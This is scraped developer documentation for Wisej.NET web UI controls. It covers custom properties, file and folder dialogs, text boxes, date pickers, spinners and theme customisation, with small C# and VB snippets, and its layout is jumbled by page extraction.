There are at least three ways to add custom properties (or user data) to controls in Wisej.NET:

  1. Extend the class

  2. Tag property

  3. UserData property

Extending the class is the most flexible approach but in some cases it's not feasible to create a new class of a control just to add a value use in a small specific context.

Extend the class

All Wisej.NET control classes can be used as the base class of your classes. You can create new types of buttons, tab pages, tree nodes, grid cells, grid rows, columns, forms, etc.

class CustomerTreeNode : Wisej.Web.TreeNode
{
    public Customer Customer {get; set; }
}

...

this.treeView1.Nodes.Add(new CustomerTreeNode
{
    Customer = goodCustomer
});
Class CustomerTreeNode
    Inherits Wisej.Web.TreeNode
    
    Public Property Customer
    
End Class

...

Me.TreeView1.Nodes.Add(New CustomerTreeNode With 
{
    .Customer = goodCustomer
    

You can use the new CustomerTreeNode class just like the base TreeNode class, including at design time. When adding nodes at design time, the designer will show a drop down button to pick the specific TreeNode class to add.

Tag Property

UserData property

For example, we can "attach" a Customer instance to a TreeNode without creating a CustomerTreeNode class like this:

var node = new TreeNode();
node.UserData.Customer = goodCustomer;
this.treeView1.Nodes.Add(node);

// Alternative using the property name.
var node = new TreeNode();
node.UserData["Customer"] = goodCustomer;
this.treeView1.Nodes.Add(node);
' this is necessary in VB.NET to use dynamic objects.
Option Strict Off

Dim node As New TreeNode();
node.UserData.Customer = goodCustomer
Me.TreeView1.Nodes.Add(node)

' with strict on use the propert name.
Option Strict On

Dim node As New TreeNode();
node.UserData("Customer") = goodCustomer
Me.TreeView1.Nodes.Add(node)

As shown in the code snippet above, the UserData property is a dynamic object and a dictionary.

VB.NET Extensions

Common VB.NET extension methods to basic objects.

You can still use Microsoft.VisualBasic non UI methods in Wisej.

SaveFileDialog

Prompts the user to select a location for saving a file on the server.

This class can either open and overwrite an existing file or create a new file.

Most of the functionality for this class is found in the FileDialog class.

Features

Filtering

The SaveFileDialog filters files shown to the user based on a given pattern. For example, the filter Image Files|*.jpg|All files|*.* will show files ending with .jpg by default. Users can modify the filter using the dropdown menu.

Check Existing Files

The SaveFileDialog validates file existence before saving to disk, helping prevent accidental file overwrites.

Help

The SaveFileDialog includes an optional "?" (Help) tool for displaying navigation assistance.

How To

Connect to the File System

Add at least one IFileSystemProvider to the Roots collection before showing the dialog:

Customize the Appearance

The SaveFileDialog supports customization of individual controls including textboxes and pickers.

To customize these controls:

  1. Create a class inheriting from FileDialogUI

  2. Add the custom FileDialog constructor

  3. Modify the controls as needed

After applying the OpenFileDialog's DialogTemplate property to the new class, the result looks like this:

For advanced customization of the SaveFileDialog using custom templates, see below.

MaskedTextBox

Uses a mask to distinguish between proper and improper user input.

The Wisej.NET MaskedTextBox enhances the TextBox control with declarative input validation. The Mask property enables specifying:

  • Required input characters

  • Optional input characters

  • Input type expected at each mask position (digit, alphabetic, alphanumeric)

  • Mask literals (characters appearing directly in the MaskedTextBox, like hyphens in phone numbers or currency symbols)

  • Special character processing (e.g., converting to uppercase)

Features

Preset Masks

The custom mask property editor provides selection from predefined, commonly used masks.

Custom Error Handling

The InvalidMessage property sets a tooltip message for invalid entries.

The TypeValidationCompleted event handler enables custom validation behavior.

Text Mask Format

The TextMaskFormat property determines literal and prompt character processing in the formatted string, controlling their inclusion in the Text property. Excluded prompt characters convert to spaces.

  • ExcludePromptAndLiterals: Shows only user input text

  • IncludeLiterals: Shows user input and mask literal characters

  • IncludePrompt: Shows user input and prompt characters

  • IncludePromptAndLiterals: Shows user input, literal characters, and prompt characters

How To

Customize the Appearance

Customize text color using the ForeColor property.

Advanced

JavaScript Widget

Editors

TextBox Controls

All TextBox controls derive from the TextBoxBase class, sharing consistent properties, events, and features.

UpDown (Spinner) Controls

All UpDown controls derive from the UpDownBase class. In the browser, they render as a <div> container with an <input> element and two +/- buttons.

Wisej.NET includes numeric, text, and time spinners.

Picker Controls

The DateTimePicker is the sole Picker control, inheriting directly from the Control base class.

TextBox

Represents an <input> element that can be used to edit unformatted text.

The TextBox control accepts a single line of text. Enable the Multiline property to allow multiple lines of text input.

Features

Label

Data Binding

Spell Checking

Enable the browser's built-in spell checking by setting the SpellCheck property to true.

This functionality relies on the browser's language and spell checking support. Third-party spell checking is possible but outside Wisej.NET functionality.

Tool Buttons

Lazy Events

Some TextBox events fire only when a handler is attached. This prevents unnecessary browser requests unless explicitly subscribed.

When extending a control class and overriding On[EventName] for a lazy event without attaching a handler, the code won't execute unless a handler is attached.

Watermark

All Wisej.NET editable controls include the Watermark property, displaying background text in empty fields.

Password

Set the PasswordChar property to any character or the InputType to Password for a password input field. The PasswordChar value always converts to "*" as browsers control password field display. This property exists for WinForms migration compatibility.

For a password visibility toggle, add a tool icon and switch InputType between Text and Password.

Character Casing

The CharacterCasing property forces text case transformation on both client and server. Wisej.NET performs the change while typing (client) and when setting the Text property (server).

How To

Enter tab or enter

By default, Tab moves focus to the next control and Enter does nothing. For tab characters and newlines, set Multiline to true and enable AcceptsTab or AcceptsReturn.

Filter keyboard input

Limit accepted characters using either:

Server-side KeyDown handling cannot prevent character input as the browser processes it before server communication.

Customize the appearance

Customize TextBox appearance through:

  1. Properties (BackColor, ForeColor, BorderStyle, Font)

  2. Theme mixin

  3. Custom styles

For specialized UI like Material-3 animated underline on focus, use theme customization or custom styles.

Native Input Types

Native input styling is limited to browser-specific CSS properties outside the Wisej.NET theme system.

The Text property always returns a string representing the native input value. Special input types have specific behaviors:

Radio

Clicking toggles the Checked property and fires CheckedChanged (not TextChanged). Checked value is "on".

Browsers don't fire events for <input type=radio>. Content localization depends on browser language.

Checkbox

Clicking toggles the Checked property and fires CheckedChanged (not TextChanged). Checked value is "on".

Advanced

AutoComplete

The AutoCompleteList property enables browser native autocomplete with a string array.

Browser filters the AutoCompleteList as users type.

The AutoComplete property controls this feature. When enabled, browsers may build their own suggestions.

Common AutoComplete options include:

Browser implementation controls this functionality, including when to use previous values.

Select content when focused

Wisej.NET selects all text when tabbing between fields. Clicking places the cursor at click location.

Enable SelectOnEnter for automatic text selection on any focus method.

Native context menu

EnableNativeContextMenu (default: true) controls the browser's context menu on right-click. Disable to prevent the native menu.

JavaScript Widget

TagTextBox

Represents a data field that displays a list of selectable and removable tags. The control recognizes tags as the user types and adds in front of the editable field.

The Wisej.NET TagTextBox enables users to select multiple values as tags.

Features

Auto Size

The TagTextBox control automatically resizes to fit its contents, including font size changes and tag overflow.

Enable horizontal growth by setting the MaximumSize property.

Auto Completion Options

The TagTextBox control provides selection from preset items defined in the AutoCompleteList property.

Limit Tags and Length

Configure tag limits using these properties:

  • MaxLength: Maximum characters allowed in the edit control

  • MaxTagCount: Maximum number of tags allowed

  • MaxTagWidth: Maximum width in pixels for tag widgets

  • MinFieldLength: Minimum characters that should fit in the editable portion before wrapping

How To

Customize the Appearance

Customize tag colors using the Theme Builder, a mixin, or direct code application.

The tagtextbox appearance includes a tag child component, customizable for different states.

Theme Builder

Mixin File

Apply custom appearance using a project mixin:

Add the mixin definition to the /Themes directory in your project.

Directly in Code

Modify the theme at runtime for custom TagTextBox appearance:

Advanced

JavaScript Widget

FolderBrowserDialog

Allows the user to select a folder from one of the Roots.

This class provides a way to prompt the user to browse, create, and eventually select a folder. Use this class when you only want to allow the user to select folders, not files. Browsing of the folders is done through a tree control. Only folders from the file system can be selected; virtual folders cannot.

Typically, after creating a new FolderBrowserDialog, you set the RootFolder to the location from which to start browsing. Optionally, you can set the SelectedPath to an absolute path of a subfolder of RootFolder that will initially be selected. You can also optionally set the Description property to provide additional instructions to the user. Finally, call the ShowDialog method to display the dialog box to the user. When the dialog box is closed and the dialog box result from ShowDialog is DialogResult.OK, the SelectedPath will be a string containing the path to the selected folder.

You can use the ShowNewFolderButton property to control if the user is able to create new folders with the New Folder button.

FolderBrowserDialog is a modal dialog box; therefore, when shown, it blocks the rest of the application until the user has chosen a folder. When a dialog box is displayed modally, no input (keyboard or mouse click) can occur except to objects on the dialog box. The program must hide or close the dialog box (usually in response to some user action) before input to the calling program can occur.

Features

Multiple Roots

The FolderBrowserDialog component allows for setting multiple directory roots to navigate and select a file.

Directories must have the appropriate read permissions to be discoverable by the Wisej.NET application.

Help

The FolderBrowserDialog component has an optional "?" (Help) tool that allows you to process and display information to help users navigate the control.

How To

Customize the Appearance

The FolderBrowserDialog component can be customized by applying appearances to each individual control within the dialog. This includes the tree view, buttons, and bottom panel.

To customize these controls, create a new class that inherits from FolderBrowserDialogUI, add the custom FolderBrowserDialog constructor, and modify the controls within it:

After applying the FolderBrowserDialog's DialogTemplate property to the new class, the resulting popup will look like this:

For instructions on how to use a custom template to offer advanced customization of the FolderBrowserDialog, see below.

Advanced

Using a Custom Template

The FolderBrowserDialog is fully customizable through the DialogTemplate property. This property, when set, will provide a custom interface for allowing users to select a directory from one of the given Roots.

To build a new custom template, create a new Inherited Window in the project.

After clicking Add, you'll be shown a list of inheritable windows. Select FolderBrowserDialogUI and click OK.

Using a custom template requires implementing a custom constructor for processing dialog initialization.

The custom constructor has one argument, a FolderBrowserDialog instance that contains the configuration required to build the dialog.

DateTimePicker

Represents a control that allows the user to select or type a date and a time.

The Wisej.NET DateTimePicker control enables users to select a date and time, displaying them in the specified format. The DateTimePicker control simplifies date and time handling by managing data validation automatically.

When representing a date, the DateTimePicker control displays two parts: a drop-down list with a date in text format, and a calendar that appears when clicking the down-arrow. The calendar resembles the MonthCalendar control, which supports multiple date selection.

Features

Custom Date Formats

The DateTimePicker offers several preset formats for displaying date and time including Long, Short, Time, DateTime, and custom format configuration.

Labels

Validation

Add validation to the DateTimePicker by specifying the format and InvalidMessage property for handling invalid user input:

The Mask property can provide a custom input format:

How To

Customize the Appearance

Customize the DateTimePicker appearance through properties, theme customization, or custom styles.

The appearance properties include BackColor, ForeColor, BorderStyle, and Font.

Advanced

JavaScript Widget

TypedTextBox

Allows the user to enter a typed value

The Wisej.NET TypedTextBox enables defining the Value property type for text parsing, a .NET format string (standard or custom), and format preservation settings during editing.

Override parsing and formatting using the CustomFormatChanged, Format, and Parse events.

Set CustomFormat to a .NET format string. Reference the .NET documentation:

The ValueType determines the Value property type: System.String, System.DateTime, System.Int32, System.Int64, System.Boolean, System.Decimal, System.Double, or System.Single.

When KeepFormatOnEnter is true, formatting persists when users press enter or click within the TypedTextBox. When false, formatting hides during editing. For currency input, consider setting KeepFormatOnEnter to false to avoid confusion with currency symbols during typing.

How To

Format text as currency

Format text as date

For the colors, you can use any , any named color in , or create a new color either by or passing the RGBA values.

For the fonts, you can use the by name, any , or create new fonts.

Some properties in Wisej.NET are so-called "". When the property is not set, it returns the parent's value:

Select any system color from the enumeration. These colors are also translated by the current theme.

Use the class to convert HTML string to and from a Color object.

Event handling for these events is activated only if there is an event handler attached. See .

Mnemonics are another feature that is common in desktop applications and generally completely forgotten in most web frameworks, except in Wisej.NET

The same mnemonic functionality is supported in the independent control. However, in the Label control case, the control that gains the focus when the mnemonic is pressed is the next focusable control in the tab order.

The properties of the Label object are not responsive. When the control is resized, the label widget will automatically adjust its internal space, but it's not capable of changing the location of the label or change any other property in conjunction with a .

"label-wrapper" see

​​

The size of the icons is usually set in the themes. You can change it by using an component and assigning it to the control that has the image you want to resize. The ImageList component will resize the image even if it's not in its image list.

Labels use the original size of the image. To set the size of the images used in labels, either use a png or a gif image already sized to the desired dimensions, or use the component.

Wisej.NET provides several tools and methods for creating and managing data bindings, including the editor and the component.

All Wisej.NET controls can be associated to a tooltip text through the ToolTipText property or the .

Check out also the for a different kind of "tooltips".

Both tooltips can be styled in a custom theme or theme mixin, or using the on the top level container.

The ToolTip property provided by the is not bindable.

You can control several aspects of the tooltip widget using the and setting the properties on the component. All the settings set on the Tooltip extender, except the ToolTipIcon and ToolTipIconSource, also apply to the ToolTipText property when the ToolTip extender is present on the same container.

"tooltip" and "tooltip-error" see .

​​

In addition to being able to paint any control, Wisej.NET also provides a control that implements the full HTML5 canvas specification on the server.

Use the event to plug in your drawing code.

The control is entirely created in .NET using the Canvas control.

Enables a control to initiate operations. When false (default), drag & drop is disabled for the control.

Enables a control be the target of the operation. When false (default), the control will deny the drop operation.

Fires the MouseCaptureChanged on the control losing the capture and on the control gaining the capture.

When true, the user is able to grab and move the control. When the user starts moving the control, it will fire the event. When done, it will fire the event and the control's Location property will be updated with the new location.

Allows you to enable any of the four sides of any control to become draggable and resizable. When the user starts resizing a control, it will fire the event. When done it will fire the event and the control's Size property will be updated with the new dimensions.

At design time use or or to alter the position of a control in the collection and adjust the docking priority.

Docking also works with . The padding of a container reduces the space used by the docked child controls.

In the designer you can use the tiny arrows that show next to the four sides to anchor or un-anchor a side. To prevent accidental anchoring, you can turn off the visual shortcut in the design toolbar using the "Show/Hide Anchors"

All controls expose the , , and properties. They allow you to define the background of any control, in addition to any image property that the control may have.

Represents an array of system and custom states. The property allows you to add system or define your own states and style them in the .

The property is a collection of JavaScript events and code that runs in the browser when the event is fired. In the JavaScript handler code refer to the event argument as "e".

accepts any CSS string that will be rendered on the client directly in the style attribute of the widget's main element.

is similar to CssStyle but it accepts one or more CSS class names and adds them to the class attribute of the widget's main element.

In you can add any JavaScript that will run when the control is first created in the browser. The script runs in the control's context (this = widget).

Invisible controls are visible in design mode. You can hide the invisible control by turning off the "Show Hidden Controls" option in the toolbar.

Every Wisej.NET control has the property; when set to true, the control is blocked by an ajax spinner.

There is an property that blocks the entire page.

If you need to run long operations and want to show a loader to block a control, you must either update the client using after setting the ShowLoader property to true, or execute the code after setting ShowLoader to true asynchronously.

Most Wisej.NET controls expose the and properties. TabStop controls whether a participates in the tabbing order. TabIndex indicates the tabbing order of the control within the parent.

You can alter the shared tooltip widget using the component. Most aspects of the tooltip system can be changed in the theme under the "tooltip" appearance key.

All Wisej.NET controls support moving and resizing. It's an amazing feature unique to Wisej.

Simply set the property to true and users will be able to grab and drag the control within its parent. Enable the sides to resize using the property and users will be able to grab and drag the resizable sides!

You can enable the live resize mode on any resizable control that doesn't expose the LiveResize property by calling JavaScript in the control's property to set the "useResizeFrame" property to false:

When using the Movable or ResizableEdges properties to allow the user to move or resize a widget on the client, you can use the , , and events to detect when the user starts and ends the moving or resizing operation.

Drag & drop in Wisej.NET works exactly the same as in a desktop application: set on the control that should initiate the drag operation and set on the control that can receive the dropped data.

When the user starts dragging, the control will fire the event. You must handle this event and call the method, otherwise the drag operation doesn't start.

The code above starts a drag operation using an array of selected row indexes as the payload, the user is basically dragging an array of integers. In addition to the payload, the call above also indicates that the drag operation allows only 2 : Copy and Move. Conceptually it means that the payload can only be copied or moved. Another option is .

Now you need to handle the dropping side, on the controls that can accept the dragged payload. This is done using either or or both.

The code below activates the Move drop when the user drags the payload over button1. It also checks if the payload is present and is an array of integers.

The last step is to receive the dropped data. You can do that by handling the event. it is fired when the user finally releases the pointer over the target control.

The exposed by the event data can hold any type of data and provides all sorts of functionality to check the presence of the data and extract the data.

Drag & drop data is not limited to one format; you can create a , assign multiple data with different formats and use it in the call to DoDragDrop().

When the target is not a simple control like a button or a field, but it may contain multiple inner parts, you may need to detect where exactly the payload was dropped. In a you want to detect the item that received the drop, in a the child node, or in a the specific row.

You will find the exact target in the property. This is different for each control.

However, you can change the drag cursor at any time and use any image of any size simply by assigning the , or and properties in any of the drag & drop events.

Another super cool feature in Wisej.NET (and only in Wisej.NET ) is the ability to drag & drop any file(s) from your desktop onto any control.

You can check the files being dropped in the DragEnter event by retrieving the list of mime types (nothing else is available in the browser) being dropped from the data object using like this:

And finally retrieve the files being dropped simply by handling the DragDrop event and using to receive an instance of the class:

For a full list of properties, methods and events see the

If you want to give the user the ability to select a folder instead of a file, use instead.

For a full list of properties, methods and events see the

The property returns the virtual path relative to the root. To get the physical path on the server, use .

All controls expose the collection holding the profiles that contain different responsive property values set at design time. You can use this collection to inspect the client profiles set for the control.

The property is available at design time at provides a quick way to add custom information to an instance of a control.

The property is a dynamic object that allows you to add any kind of fields to a control without having to create a new class.

For example, if you need to have a instance that is associated with a Customer instance you can create a CustomerTreeNode class.

All controls and components in Wisej.NET expose the property of type object. You can "tag" any control or component with any value of any type.

The property is similar to the Tag property except that it's a dynamic object that can hold any number of fields of any kind.

To check whether an object has any data in the UserData dictionary without forcing the creation of the storage object, use the property.

VB.NET developers may be used to the namespace for VB specific extensions. Wisej.NET provides the Wisej.Web.VisualBasic namespace with the implementation of the Interaction extensions:

Method
Description
Microsoft

MsgBox(Prompt, Buttons, Title, CloseCallback)

Displays a message in a dialog box, waits for the user to click a button, and then returns one of MsgBoxResult indicating which button the user clicked.

MsgBoxAsync(Prompt, Buttons, Title)

Asynchronously displays a message in a dialog box, waits for the user to click a button, and then returns one of MsgBoxResult indicating which button the user clicked.

InputBox(Prompt, Title, DefaultResponse, XPos, YPos, CloseCallback)

Displays a prompt in a dialog box, waits for the user to input text or click a button, and then returns a string containing the contents of the text box.

InputBoxAsync(Prompt, Title, DefaultResponse, XPos, YPos)

Asynchronous displays a prompt in a dialog box, waits for the user to input text or click a button, and then returns a string containing the contents of the text box.

Beep(AudioBase64)

Plays a sound on the browser.

For a full list of properties, methods and events see the

The property returns the virtual path relative to the root. To get the physical path on the server, use .

Item
Description

Wisej.NET provides editor controls for user input. These typically correspond to an element in the browser.

The editors come in four categories: TextBox, UpDown (Spinners), Pickers, and ComboBox controls. This section covers TextBox, UpDown, and Pickers, while the is documented under .

In the browser, these render as a container with an element inside.

The control enables users to enter unformatted text.

For a full list of properties, methods and events see the

The TextBox control supports the inline property. This allows setting a label in relation to a TextBox control without creating an additional Label control.

Data binding supports formatting and value conversion through the default infrastructure. The default data property is Text.

A key Wisej.NET feature available in most controls. The property enables adding internal buttons aligned left or right, with user clicks handled through the ToolClicked event.

The KeyDown event is a , preventing ajax requests for each character typed.

Wisej.NET renders the watermark using the HTML attribute when supported, otherwise creating an overlaid label managed by the Wisej.NET JavaScript library.

Set the Filter property to a

Handle the keydown with JavaScript

Custom

The image shows a TextBox with "border-radius:20px" in CssStyle. For shared styles, use CssClass and add a StyleSheet file through Default.html or the extender.

The TextBox supports various types through the InputType property.

Option
Description

See for all options.

An assigned always overrides the native menu.

Item
Description

The drop down uses an element with a specified .

Item
Description

For a full list of properties, methods and events see the

The property returns the path selected by the user, which is the virtual path relative to the root. To retrieve the physical path on the server use .

For a full list of properties, methods and events see the

The DateTimePicker control supports the inline property. This allows setting a label in relation to a DateTimePicker control without creating an additional Label control.

For specialized UI designs like Material-3 animated underline on focus, either create a custom , use a theme mixin, or add custom styles to the control.

The video shows a DateTimePicker with "border-radius:10px" assigned to the CssStyle property. For shared styles, set the CssClass property and add a StyleSheet file (.css) to the application through Default.html or the extender.

The video also features a simple "tada" animation using the component.

Item
Description

For a full list of properties, methods and events see the

😀
⚡
⭐
⭐
LocalStorage
SessionStorage
CookieStorage
Ambient Properties
SystemColors
System.Drawing.ColorTranslator
Touch Events
Label
ClientProfile
ImageList
ImageList
DataBindings
BindingSource
ToolTip extender
HelpTip Extender
ToolTip extender
ToolTip Extender
ToolTip extender
Wisej.Web.Canvas
Redraw
ProgressCircle
Drag & Drop
Drag & Drop
Drag & Drop
Drag & Drop
StartMove
EndMove
Move & Resize
StartResize
EndResize
Move & Resize
SendToBack()
BringToFront()
Controls.SetChildIndex()
Padding
BackgroundImage
BackgroundImageSource
BackgroundImageLayout
States
states
theme
ClientEvents
CssStyle
CssClass
InitScript
ShowLoader
Application.ShowLoader
Application.Update()
TabStop
TabIndex
Tab Order
Tooltip
Movable
ResizableEdges
InitScript
StartMove
EndMove
StartResize
EndResize
AllowDrag
AllowDrop
DragStart
DoDragDrop()
effects
Link
DragEnter
DragOver
effect
DragDrop
data object
DragEventArgs
DataObject
ListBox
TreeView
DataGridView
e.DropTarget
e.Image
e.ImageSource
e.ImageSize
DataFormats.FileDrop
DataFormats.Files
HttpFileCollection
API documentation.
FolderBrowserDialog
API documentation.
FileDialog.FileName
FileDialog.MapPath()
Designer
ResponsiveProfiles
Client Profiles
Tag
UserData
TreeNode
Tag
UserData
HasUserData
Microsoft.VisualBasic
System.Drawing.SystemColors
System.Drawing.Color
theme name
System.Drawing.SystemFonts
theme fonts
Lazy Events
//Using an absolute file path
SaveFileDialog filedialog = new SaveFileDialog(); 
filedialog.Roots.Add(new FileSystemProvider("C:\\", "Main_Directory"));
//Using a relative file path
SaveFileDialog filedialog = new SaveFileDialog(); 
filedialog.Roots.Add(new FileSystemProvider("./", "Main_Directory"));
public class CustomSaveFileDialogUI : FileDialogUI
{
    public CustomSaveFileDialogUI(SaveFileDialog saveFileDialog) : base(saveFileDialog)
    {
        this.HeaderBackColor = Color.DarkOrange;
        foreach (ColumnHeader col in this.listView.Columns)
        {
            col.BackColor = Color.DarkOrange;
        }
    }
}

Email

An email address

Username

A username or account name

NewPassword

A new password field for account creation or password changes

CurrentPassword

The user's current password

OneTimeCode

A one-time verification code

//
// Mixin Theme Definition
//
// Mixin theme files define only a subset of the theme and are overlayed
// on top of the loaded theme. A mixin theme can extend or override the loaded theme.
//
// Mixin themes are useful to refine or style a particular feature in an application and/or
// style a new component.
//
{
	"appearances":
	{
		"mytagtextbox":
		{
			"inherit": "tagtextbox",
			"components": {
				"tag": {
					"states": {
						"default": {
							"styles": {
								"backgroundColor": "#ffe8d6"
							}
						},
						"selected": {
							"styles": {
								"backgroundColor": "#cb997e"
							}
						},
						"hovered": {
							"styles": {
								"backgroundColor": "#ddbea9"
							}
						}
					}
				}
			}
		}
	}
}
Application.Theme.Appearances["tagtextbox"]["components"]["tag"]["states"]["default"]["styles"]["backgroundColor"] = "#ffe8d6";
Application.Theme.Appearances["tagtextbox"]["components"]["tag"]["states"]["hovered"]["styles"]["backgroundColor"] = "#ddbea9";
Application.Theme.Appearances["tagtextbox"]["components"]["tag"]["states"]["selected"]["styles"]["backgroundColor"] = "#cb997e";
public partial class CustomFolderBrowserDialogUI : FolderBrowserDialogUI
{
  public CustomFolderBrowserDialogUI(FolderBrowserDialog folderDialog) : base(folderDialog)
  {
    this.HeaderBackColor = Color.CadetBlue;
    this.buttonOpen.BackColor = Color.CadetBlue;
  }
}
this.textBox.ValueType = typeof(System.Decimal);
this.textBox.CustomFormat = "c";
this.textBox.ValueType = typeof(System.DateTime);
this.textBox.CustomFormat = "dd";
LogoOverviewWisej Extensions
LogoHTML Canvas
Themes
https://github.com/iceteagroup/wisej-js
Themes
https://github.com/iceteagroup/wisej-js
MsgBox
InputBox
Beep
API documentation.
FileDialog.FileName
FileDialog.MapPath()
<input>
ComboBox
Lists & Grids
<div>
<input>
Wisej.Web.TextBox
API documentation.
Label
Labels
data binding
Data Binding
Tools
Embedded Tools
Lazy Event
Events
placeholder
regular expression
event on the client
theme
StyleSheet
<input>
Mozilla Developer Site
ContextMenu
<input>
<datalist>
API documentation.
FolderBrowserDialog.SelectedPath
FileBrowserDialog.MapPath()
API documentation.
Label
Labels
theme
StyleSheet
Animation
API documentation
Standard numeric format string
Custom numeric format string
Standard date and time format string
Custom date and time format string
license details
Wisej.NET Licensing

Class name

"wisej.web.MaskedTextBox"

Theme Appearance

"textbox"

Child components

Toolcontainer state

Source code

Class name

"wisej.web.TextBox" or "wisej.web.TextArea" when Multiline is true

Theme appearance

Child components

Toolcontainer state

Source code

Class name

"wisej.web.TagTextBox"

Theme Appearance

"tagtextbox", inherited from "textbox"

Child components

Toolcontainer state

Source code

Class name

"wisej.web.DateTimePicker" or "wisej.web.dateTimePicker.DropDown" for the drop down component.

Theme appearance

Child components

"textfield" is the inner <input> widget. "button" is the button that shows the dropdown. "list" is the list of dates in the popup. "popup" is the popup frame (background). "checkbox" is the checkbox, when enabled. "upbutton" is the up button, when applicable. "downbutton" is the down button, when applicable.

Toolcontainer state

Source code

TrackBar

Enables the user to choose between a range of values by sliding a small bar along another bar.

The Wisej.NET TrackBar is a scrollable control similar to the ScrollBar. Configure value ranges by setting the Minimum property for the lower end and the Maximum property for the upper end.

The LargeChange property defines the increment to add or subtract from the Value property when clicking either side of the scroll box. The track bar displays horizontally or vertically.

Use this control to input numeric data through the Value property, which can be displayed in a control or used in code.

Features

Vertical Orientation

The TrackBar control supports both horizontal and vertical orientations.

Tick Controls

The TrackBar control allows customization of tick mark positions and count.

Advanced

JavaScript Widget

Item
Description

Class name

"wisej.web.TrackBar"

Theme appearance

Child components

"knob" is the slider handle. "begin" is the slider up to the knob. "end" is the slider after the knob. "bubble" is the popup shown while dragging the knob.

Source code

DomainUpDown

Represents a spinner control that displays string values.

A Wisej.NET DomainUpDown control displays a single string value selected from an Object collection by clicking the up or down buttons. Users can enter text in the control unless the ReadOnly property is set to true (the string must match an item in the collection). When an item is selected, the object converts to a string value for display in the spin box.

Features

Label

Advanced

JavaScript Widget

Item
Description

Class name

"wisej.web.DomainUpDown"

Theme appearance

Child components

"upbutton" is the up button. "downbutton" is the down button. "textfield" is the textfield.

Source code

TimeUpDown

Represents a spinner control that displays TimeSpan values.

The Wisej.NET TimeUpDown control enables users to incrementally change values in a date text box using arrow buttons. The spin box combines a text box with its associated spin control.

Features

Label

Icon Alignment

The TimeUpDown control offers three preset icon alignments: Left, Center, and Right.

Advanced

JavaScript Widget

Item
Description

Class name

"wisej.web.TimeUpDown"

Theme appearance

Child components

"upbutton" is the up button. "downbutton" is the down button. "textfield" is the textfield.

Source code

NumericUpDown

Represents a spinner control that displays numeric values.

A Wisej.NET NumericUpDown control contains a single numeric value that can be incremented or decremented using the up or down buttons. Users can enter values directly unless the ReadOnly property is set to true.

Format the numeric display using the DecimalPlaces, Hexadecimal, or ThousandsSeparator properties. Set Hexadecimal to true to display hexadecimal values. Enable ThousandsSeparator to display the thousands separator in decimal numbers. Set DecimalPlaces to specify the number of digits after the decimal symbol.

Features

Label

Formatting

The NumericUpDown control offers several formatting properties. The Prefix property prepends a character or string to the value. The Postfix property appends a character or string to the value. Enable the ThousandsSeparator property to display commas for values exceeding three digits.

Advanced

JavaScript Widget

Item
Description

Class name

"wisej.web.NumericUpDown"

Theme appearance

Child components

"upbutton" is the up button. "downbutton" is the down button. "textfield" is the textfield.

Source code

"textfield" is the inner <input> widget. See

"editor", see

"textbox", see

"textfield" is the inner <input> widget. See

"editor", see

"textfield" is the inner <input> widget. See

"editor", see

"datefield", see .

"editor", see .

For a full list of properties, methods and events see the

"slider", see .

For a full list of properties, methods and events see the

The DomainUpDown control supports the inline property. This allows setting a label in relation to a DomainUpDown control without creating an additional Label control.

"spinner", see .

For a full list of properties, methods and events see the

The TimeUpDown control supports the inline property. This allows setting a label in relation to a TimeUpDown control without creating an additional Label control.

"spinner", see .

For a full list of properties, methods and events see the

The NumericUpDown control supports the inline property. This allows setting a label in relation to a NumericUpDown control without creating an additional Label control.

"spinner", see .

JavaScript
Embedded Tools
https://github.com/iceteagroup/wisej-js
Themes
JavaScript
Embedded Tools
https://github.com/iceteagroup/wisej-js
JavaScript
Embedded Tools
https://github.com/iceteagroup/wisej-js
Themes
Embedded Tools
https://github.com/iceteagroup/wisej-js
API documentation.
API documentation.
Label
Labels
API documentation.
Label
Labels
API documentation.
Label
Labels
Themes
https://github.com/iceteagroup/wisej-js
Themes
https://github.com/iceteagroup/wisej-js
Themes
https://github.com/iceteagroup/wisej-js
Themes
https://github.com/iceteagroup/wisej-js
Drawing
Super-simplified model
36KB
Wisej-4.UpdateTool.zip
archive
814B
Startup.cs
1KB
Startup.vb
717B
launchSettings.json
121KB
Wisej.NavigationApp.ProjectTemplates.vsix
Wisej.NET Navigation App Template
3MB
VS2019-Wisej3-Templates.zip
archive
Wisej.NET v3.0 VS 2019 Templates
3MB
VS2022-Wisej3-Templates.zip
archive
Wisej.NET v3.0 VS 2022 Templates
2MB
VS2019-Wisej2-Templates.zip
archive
Wisej.NET v2.5 VS 2019 Templates
2MB
VS2022-Wisej2-Templates.zip
archive
Wisej.NET v2.5 VS 2022 Templates
920B
HealthCheck.json
354KB
Wisej.BackgroundTasks.zip
archive
Download Wisej.BackgroundTasks.zip
13KB
Wisej.BackgroundService.zip
archive
Download Wisej.BackgroundService.zip
13KB
SBOM.json
Download our SBOM in SPDX/JSON format
New Wisej.NET Hybrid Templates
Wisej.NET BootstrapDark-4 Theme
Wisej.NET Chat Control
Wisej.NET Signature Control
Wisej.NET Pull-to-Refresh Component
Wisej.NET 4 Upgrade Tool
New Project Wizard
Example of a CurrencyValidationRule
Standard validation
Validation using the ErrorProvider component
Validation with rules set to use a label as the ErrorProvider.
Custom IErrorProvider implementation
Wisej.NET 3 Project Wizard
Docker runtime target
Example of summary rows (blurred for privacy)
Wisej.NET Designer Engine Information
Designer toolbar
TextBox controls hierarchy
UpDown controls types
TypedTextBox with KeepFormatOnEnter set to true
KeepFormatOnEnter = true
TypedTextBox with KeepFormatOnEnter set to false
KeepFormatOnEnter = false

Troubleshooting

Missing Templates

  1. Verify the templates are located in

    • My Documents\Visual Studio 2022\Templates\Project Templates\Visual C#

    • My Documents\Visual Studio 2022\Templates\Project Templates\Visual Basic

2. Close all instances of Visual Studio.

3. Run devenv /updateconfiguration as Administrator in the Developer Command Prompt.

4. Reopen Visual Studio.

Docker

Your Docker server host is configured for 'Linux', however your project targets 'Windows'...

Ensure that you are targeting the correct framework. This error will occur when net48 is the first-listed framework in TargetFrameworks. Temporarily switch net48 with your Docker runtime target (net5 / net6).

Ensure that you restore net48 to the first listed framework in TargetFrameworks to load the designer.

There were build errors. Would you like to continue and run the latest successful build?

Ensure that you are targeting the correct framework. This error will occur when an incorrect framework is loaded into the Docker container. Temporarily switch the first-listed TargetFramework with your Docker runtime target (net5 / net6).

Ensure that you restore net48 to the first listed framework in TargetFrameworks to load the designer.

Designer Errors

Missing Designer

Occasionally when creating a new Wisej.NET 3 project using .NET48 and .NET6+ the designer will not be visible upon project creation. Rebuild the project and then restart Visual Studio.

Designer Error

The most common designer error is "Unable to cast object of type ‘Wisej.Web.Page’ to type ‘Wisej.Core.IWisejControl’ (or another base type).

